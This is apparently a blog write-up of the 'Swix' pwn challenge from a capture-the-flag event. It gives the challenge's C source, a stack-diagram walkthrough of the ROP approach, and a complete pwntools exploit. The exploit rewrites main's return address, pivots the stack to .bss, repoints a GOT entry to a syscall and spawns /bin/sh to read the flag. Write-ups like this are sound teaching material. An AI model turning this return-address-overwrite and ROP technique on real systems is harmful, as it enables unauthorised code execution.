Last week, we - m1cr0$oft 0ff1c3 team participated in this event and got 11th place.
I’ve solved all Pwn challenges. But now I only show the solution for the “Swix” challenge. ( I feel this is only the “real” pwn challegne ).
Attachemnt: Swix.zip
We are provided the source code of this binray:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/sendfile.h> #include <string.h> #define MAX_FRIENDS 1 typedef struct user { char username[8 ]; char description[256 ]; int id; int age; char password[32 -4 ]; struct user **friends ; int friendCount; } user; user u; char superSecretMessage[] = "\x0c\x62\x28\x65\x36\x24\x23\x20\x64\x65\x0c\x65\x32\x2c\x36\x2d" ;int usedHack = 0 ;int uname, age, logo, menu, f2, f3;void initStuff () { uname = open("uname" , O_RDONLY); age = open("age" , O_RDONLY); logo = open("logo" , O_RDONLY); menu = open("menu" , O_RDONLY); f2 = open("msg2" , O_RDONLY); f3 = open("msg3" , O_RDONLY); u.friendCount = 0 ; u.friends = (user**) malloc (sizeof (user*)*MAX_FRIENDS); } char * SuperHardEncoding (char * s) { for (int i=0 ; i<16 ; i++){ s[i] = s[i] ^ 69 ; } return s; } void showMsg (int fd, size_t size) { off_t off = 0 ; sendfile(1 , fd, &off, size); } void addFriend () { if (uname == -1 ){ exit (0 ); } if (u.friendCount >= MAX_FRIENDS){ return ; } u.friends[u.friendCount] = (user *)malloc (sizeof (user)); showMsg(uname, 10 ); read(0 , u.friends[u.friendCount]->username, 8 ); u.friendCount++; } void editFriend () { if (uname == -1 ){ exit (0 ); } if (u.friendCount == 0 ){ return ; } char idx; read(0 , &idx, 1 ); int id = (int )(idx - '0' ); if (id >= u.friendCount){ return ; } if (id > 9 || id < 0 ){ return ; } showMsg(uname, 10 ); read(0 , u.friends[id]->username, 8 ); } void getFriendAdr () { if (f2 == -1 || f3 == -1 ){ exit (0 ); } if (usedHack == 1 ) return ; usedHack = 1 ; char idx; read(0 , &idx, 1 ); int id = (int )(idx - '0' ); if (id >= u.friendCount){ return ; } if (id > 9 || id < 0 ){ return ; } unsigned int hack = (unsigned int )u.friends[id]; while (hack){ if (hack&1 ){ showMsg(f2, 26 ); } else showMsg(f3, 1 ); hack = hack / 2 ; } } void magicMove (unsigned int *p) { read(0 , p, 16 ); } int readInt () { char tmp[11 ] = {0 }; read(0 , tmp, 10 ); return atoi(tmp); } void setCreds () { if (uname == -1 || age == -1 ){ exit (0 ); } showMsg(uname, 10 ); read(0 , u.username, 8 ); showMsg(age, 5 ); u.age = readInt(); } int main () { unsigned int *p; p = &p; p = (unsigned int *)((unsigned int )p+0x20 ); initStuff(); if (logo == -1 | menu == -1 ){ return 1 ; } showMsg(logo, 3201 ); char choice; while (choice != '6' ){ showMsg(menu, 95 ); read(0 , &choice, 1 ); switch (choice){ case '1' :{ setCreds(); break ; } case '2' :{ addFriend(); break ; } case '3' :{ editFriend(); break ; } case '4' :{ getFriendAdr(); break ; } case '5' :{ magicMove(p); break ; } case '6' :{ break ; } default :{ exit (0 ); } } } SuperHardEncoding(superSecretMessage); puts (superSecretMessage); SuperHardEncoding(superSecretMessage); p[2 ] = 0xdeadbeef ; }
I can see that the function getFriendAdr
can show the heap address but it is useless for the exploitation.
This code shows that p
now is pointing to the saved $RIP
address of the main
function :
1 2 3 unsigned int *p;p = &p; p = (unsigned int *)((unsigned int )p+0x20 );
And the case ‘5’ can help us overwrite main
‘s reuturn address:
1 2 3 4 case '5' :{ magicMove(p); break ; }
But we can only modify 16 bytes :
1 2 3 void magicMove (unsigned int *p) { read(0 , p, 16 ); }
And p[2] is changed to 0xdeadbeef:
This makes harder for me when I try to build a rop chain to call a func
function with argument argv
:
1 2 3 4 5 6 7 8 9 10 -----> ++++++++++++ ++++++++++++ + func + + func + ++++++++++++ ++++++++++++ + main + + main + ++++++++++++ ++++++++++++ + argv + +0xdeadbeef+ ++++++++++++ ++++++++++++ + .... + + .... + ++++++++++++ ++++++++++++
After a moment, I realized that I can make the main function return to itself again to modify the rop chain 2 times:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 1st stage: ++++++++++++ + main + ++++++++++++ +0x0804901e+ // pop ebx ; ret -> force return to func ++++++++++++ +0xdeadbeef+ ++++++++++++ + func + ++++++++++++ 2nd stage ( After the main returned to itself): ++++++++++++ + main + ++++++++++++ +0x0804901e+ // pop ebx ; ret -> force return to func ++++++++++++ +0xdeadbeef+ ++++++++++++ + func + ++++++++++++ // 2nd stage only can change the stack from this: + _start + ++++++++++++ + argv + ++++++++++++
As you see now we can call func(argv)
and return to _start
safely.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def callFunc (func: int , argv: int ): p.sendafter(b"6. Logout.\n" ,b"5" ) p.send( p32(e.sym.main)+ p32(0x0804901e )+ p32(0x1337 )+ p32(func) ) p.sendafter(b"6. Logout.\n" ,b"6" ) p.sendafter(b"6. Logout.\n" ,b"5" ) p.sendline( p32(e.sym._start)+ p32(argv) ) p.sendafter(b"6. Logout.\n" ,b"6" )
At the first time, I had try to call puts@plt(puts@got)
to leak the libc but it didn’t work on the remote. I realized that they use cat
to hadnle I/O and timeout is 10 seconds:
1 2 #!/bin/bash timeout 10 cat | env -i /app/main
So I tried to buid the rop chain on the .bss segment (by calling magicMove(addr)
, magicMove(addr+4)
, ….)
and pivoting the stack to it ( by using the gadget pop ebp ; leave ;ret
) .
This is my rop chain, I don’t give the detail but I can tell you that I try to change sendfile@got
point to call DWORD PTR gs:0x10
(syscall) and make eax = 0xb , ebx = "/bin/sh", [ecx] = NULL and edx = 0
so I can call syscaLL_execve("/bin/sh",[NULL],NULL
) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 rop = [ p32(e.sym.magicMove), p32(0x0804901e ), p32(0x804cf00 ), p32(e.sym.read), p32(0x0804939a ), p32(0 ),p32(e.got.sendfile),p32(1 ), p32(e.sym.read), p32(0x0804939a ), p32(0 ),p32(0 ),p32(0 ), p32(0x0804939c ), p32(0x804c2ec ), p32(0x080492c2 ), p32(0x0804939c ), p32(0xb ), p32(0x804976c ), p32(0x804c308 ), p32(0x804cf00 ), p32(e.plt.sendfile), p32(0 ),p32(0 ) ]
This is my final exploit script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *from pwn import p32,p64from time import sleepcontext.binary = e = ELF("./main" ) gs=""" """ def start (): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int (args.PORT)) return p p = start() def callFunc (func: int , argv: int ): p.sendafter(b"6. Logout.\n" ,b"5" ) p.send( p32(e.sym.main)+ p32(0x0804901e )+ p32(0x1337 )+ p32(func) ) p.sendafter(b"6. Logout.\n" ,b"6" ) p.sendafter(b"6. Logout.\n" ,b"5" ) p.sendline( p32(e.sym._start)+ p32(argv) ) p.sendafter(b"6. Logout.\n" ,b"6" ) rop = [ p32(e.sym.magicMove), p32(0x0804901e ), p32(0x804cf00 ), p32(e.sym.read), p32(0x0804939a ), p32(0 ),p32(e.got.sendfile),p32(1 ), p32(e.sym.read), p32(0x0804939a ), p32(0 ),p32(0 ),p32(0 ), p32(0x0804939c ), p32(0x804c2ec ), p32(0x080492c2 ), p32(0x0804939c ), p32(0xb ), p32(0x804976c ), p32(0x804c308 ), p32(0x804cf00 ), p32(e.plt.sendfile), p32(0 ),p32(0 ) ] pre_rop = [ p32(e.sym.read), p32(0x0804939a ), p32(0 ),p32(0x804c2b0 ),p32(0x3000 ), ] for i in range (len (pre_rop)): callFunc(e.sym.magicMove,0x804c2b0 -len (pre_rop)*4 + 4 *i) p.send(pre_rop[i]+p32(0 )) p.sendafter(b"6. Logout.\n" ,b"5" ) p.send( p32(e.sym.main)+ p32(0x0804901e )+ p32(0x1337 )+ p32(0x08049283 ) ) p.sendafter(b"6. Logout.\n" ,b"6" ) p.sendafter(b"6. Logout.\n" ,b"5" ) p.sendline( p32(0x804c2b0 -len (pre_rop)*4 -4 ) ) p.sendafter(b"6. Logout.\n" ,b"6" ) sleep(1 ) p.sendline( b'' .join(rop) ) sleep(0.1 ) p.send(b"/bin/sh\0" .ljust(16 ,b"\0" )) p.send(b"\x5b" ) sleep(0.1 ) p.sendline(b"cat flag*" ) p.interactive()